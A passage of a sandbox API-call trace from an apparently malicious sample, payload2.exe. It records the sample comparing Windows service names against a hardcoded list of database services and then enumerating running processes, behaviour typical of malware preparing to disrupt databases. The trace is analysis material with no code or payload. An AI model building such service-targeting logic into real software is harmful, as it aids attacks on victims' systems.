	[0203.580] lstrlenW (lpString="MpsSvc") returned 6
	[0203.580] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0203.580] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0203.580] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0203.580] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0203.580] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0203.580] lstrlenW (lpString="NcbService") returned 10
	[0203.580] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0203.580] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0203.580] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0203.580] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0203.580] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0203.580] lstrlenW (lpString="netprofm") returned 8
	[0203.580] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0203.580] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0203.580] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0203.580] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0203.580] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0203.580] lstrlenW (lpString="NgcSvc") returned 6
	[0203.580] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0203.580] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0203.580] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0203.580] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0203.580] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0203.580] lstrlenW (lpString="NlaSvc") returned 6
	[0203.580] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0203.580] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0203.580] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0203.580] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0203.580] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0203.580] lstrlenW (lpString="nsi") returned 3
	[0203.580] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0203.580] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0203.581] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0203.581] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0203.581] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0203.581] lstrlenW (lpString="PcaSvc") returned 6
	[0203.581] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0203.581] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0203.581] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0203.581] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0203.581] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0203.581] lstrlenW (lpString="PlugPlay") returned 8
	[0203.581] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0203.581] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0203.581] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0203.581] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0203.581] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0203.581] lstrlenW (lpString="Power") returned 5
	[0203.581] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0203.581] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0203.581] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0203.581] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0203.581] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0203.581] lstrlenW (lpString="ProfSvc") returned 7
	[0203.581] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0203.581] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0203.581] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0203.581] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0203.581] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0203.581] lstrlenW (lpString="RpcEptMapper") returned 12
	[0203.581] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0203.581] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0203.581] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0203.581] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0203.581] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0203.581] lstrlenW (lpString="RpcSs") returned 5
	[0203.581] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0203.582] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0203.582] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0203.582] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0203.582] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0203.582] lstrlenW (lpString="SamSs") returned 5
	[0203.582] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0203.582] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0203.582] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0203.582] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0203.582] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0203.582] lstrlenW (lpString="Schedule") returned 8
	[0203.582] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0203.582] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0203.582] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0203.582] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0203.582] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0203.582] lstrlenW (lpString="SecurityHealthService") returned 21
	[0203.582] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0203.582] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0203.582] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0203.582] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0203.582] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0203.582] lstrlenW (lpString="SENS") returned 4
	[0203.582] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0203.582] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0203.582] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0203.582] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0203.582] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0203.582] lstrlenW (lpString="ShellHWDetection") returned 16
	[0203.582] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0203.582] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0203.582] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0203.582] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0203.582] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0203.582] lstrlenW (lpString="Spooler") returned 7
	[0203.582] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0203.583] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0203.583] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0203.583] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0203.583] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0203.583] lstrlenW (lpString="StateRepository") returned 15
	[0203.583] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0203.583] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0203.583] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0203.583] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0203.583] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0203.583] lstrlenW (lpString="SysMain") returned 7
	[0203.583] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0203.583] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0203.583] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0203.583] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0203.583] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0203.583] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0203.583] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0203.583] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0203.583] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0203.583] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0203.583] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0203.583] lstrlenW (lpString="Themes") returned 6
	[0203.583] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0203.583] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0203.583] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0203.583] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0203.583] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0203.583] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0203.583] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0203.583] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0203.583] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0203.583] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0203.584] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x240
	[0203.591] Process32FirstW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0203.592] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0203.592] lstrlenW (lpString="System") returned 6
	[0203.593] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0203.593] lstrlenW (lpString="smss.exe") returned 8
	[0203.593] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0203.594] lstrlenW (lpString="csrss.exe") returned 9
	[0203.594] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0203.594] lstrlenW (lpString="wininit.exe") returned 11
	[0203.594] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0203.595] lstrlenW (lpString="csrss.exe") returned 9
	[0203.595] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0203.595] lstrlenW (lpString="winlogon.exe") returned 12
	[0203.595] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0203.596] lstrlenW (lpString="services.exe") returned 12
	[0203.596] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0203.596] lstrlenW (lpString="lsass.exe") returned 9
	[0203.597] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0203.597] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0203.597] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0203.597] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0203.598] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0203.598] lstrlenW (lpString="svchost.exe") returned 11
	[0203.598] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0203.598] lstrlenW (lpString="svchost.exe") returned 11
	[0203.599] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x388, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0203.599] lstrlenW (lpString="dwm.exe") returned 7
	[0203.599] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0203.600] lstrlenW (lpString="svchost.exe") returned 11
	[0203.600] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0203.600] lstrlenW (lpString="svchost.exe") returned 11
	[0203.600] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0203.601] lstrlenW (lpString="svchost.exe") returned 11
	[0203.601] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x38, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0203.601] lstrlenW (lpString="svchost.exe") returned 11
	[0203.601] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0203.602] lstrlenW (lpString="svchost.exe") returned 11
	[0203.602] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x430, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0203.602] lstrlenW (lpString="svchost.exe") returned 11
	[0203.602] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x56c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0203.603] lstrlenW (lpString="svchost.exe") returned 11
	[0203.603] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0203.603] lstrlenW (lpString="svchost.exe") returned 11
	[0203.603] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0203.604] lstrlenW (lpString="svchost.exe") returned 11
	[0203.604] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0203.604] lstrlenW (lpString="svchost.exe") returned 11
	[0203.604] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x62c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0203.605] lstrlenW (lpString="spoolsv.exe") returned 11
	[0203.605] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x690, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0203.605] lstrlenW (lpString="svchost.exe") returned 11
	[0203.605] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x56c, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0203.606] lstrlenW (lpString="audiodg.exe") returned 11
	[0203.606] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0203.606] lstrlenW (lpString="sihost.exe") returned 10
	[0203.607] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0203.607] lstrlenW (lpString="svchost.exe") returned 11
	[0203.607] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0203.608] lstrlenW (lpString="taskhostw.exe") returned 13
	[0203.727] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0203.727] lstrlenW (lpString="msoia.exe") returned 9
	[0203.727] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0203.728] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0203.728] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0203.728] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0203.729] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0203.729] lstrlenW (lpString="Memory Compression") returned 18
	[0203.729] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x984, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0203.729] lstrlenW (lpString="explorer.exe") returned 12
	[0203.730] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0203.730] lstrlenW (lpString="SearchUI.exe") returned 12
	[0203.730] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0203.730] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0203.731] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0203.731] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0203.731] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xccc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0203.731] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0203.732] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x998, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload2.exe")) returned 1
	[0203.732] lstrlenW (lpString="payload2.exe") returned 12
	[0203.732] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0203.733] lstrlenW (lpString="dllhost.exe") returned 11
